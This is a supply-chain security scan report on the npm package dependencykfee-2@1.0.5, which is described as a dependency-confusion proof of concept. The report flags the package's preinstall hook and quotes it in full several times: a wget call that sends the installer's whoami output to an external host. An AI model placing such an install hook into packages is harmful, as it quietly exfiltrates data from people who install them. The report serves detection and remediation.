dependencykfee-2@1.0.5
test
AI Security Review
scanned 6d ago · by lpm-firewall-aiThe preinstall hook automatically sends the installing user's OS username to a fixed external host. This is unrelated to the package's stated purpose and meets the install-time data exfiltration rule.
Static reason
One or more suspicious static signals were detected.
Trigger
The package's preinstall lifecycle script runs during installation.
Impact
The username is sent to a fixed external host without installer consent.
Mechanism
The script runs whoami and inserts its output into the user query parameter of a wget request.
Attack narrative
During installation, the preinstall hook runs whoami and sends the resulting OS username in a request to google.com. The package's stated dependency confusion PoC purpose does not require collecting or transmitting the installer's username.
AI rationale
The preinstall hook automatically sends the installing user's OS username to a fixed external host. This is unrelated to the package's stated purpose and meets the install-time data exfiltration rule.
Evidence
package.json
Network endpoints1
google.com/?user=$(whoami)
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The preinstall script sends the OS username from whoami in a request to http://google.com/?user=…
- The README describes the package as a dependency confusion proof of concept.
- The import entry point only exports a function that prints a message.
Evidence against
- The package has no dependencies.
- The import entry point does not itself perform network or file operations.
Behavioral surface
Trivial
Source & flagged code
6 flaggedpackage.jsonView file
•scripts.preinstall = wget --quiet "http://google.com/?user=$(whoami)" # CHANGE IP ADDRESS
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7wget --quiet \"http://google.com/?user=$(whoami)\" # CHANGE IP ADDRESS"
},
"dependencies": {},
"config": {
"unsafe-perm":true
},
"author": "WayCup",
"license": "ISC
High
Ai Review Evidence
The preinstall script sends the OS username from whoami in a request to http://google.com/?user=…
package.jsonView on unpkg · L7•scripts.preinstall = wget --quiet "http://google.com/?user=$(whoami)" # CHANGE IP ADDRESS
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpackage.json#scripts.preinstall
Findings
5 High1 Medium1 Low
HighInstall Time Lifecycle Scriptspackage.json
HighManifest Script Host Fingerprint Callbackpackage.json#scripts.preinstall
HighAi Review Evidencepackage.json
HighSuspicious Dependency EvidenceREADME.md
HighAi Review Evidenceindex.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
LowScripts Present
Affected versions and remediation
This report applies to dependencykfee-2@1.0.5.
See all versions of dependencykfee-2 for other recorded verdicts.
- Avoid installing dependencykfee-2@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.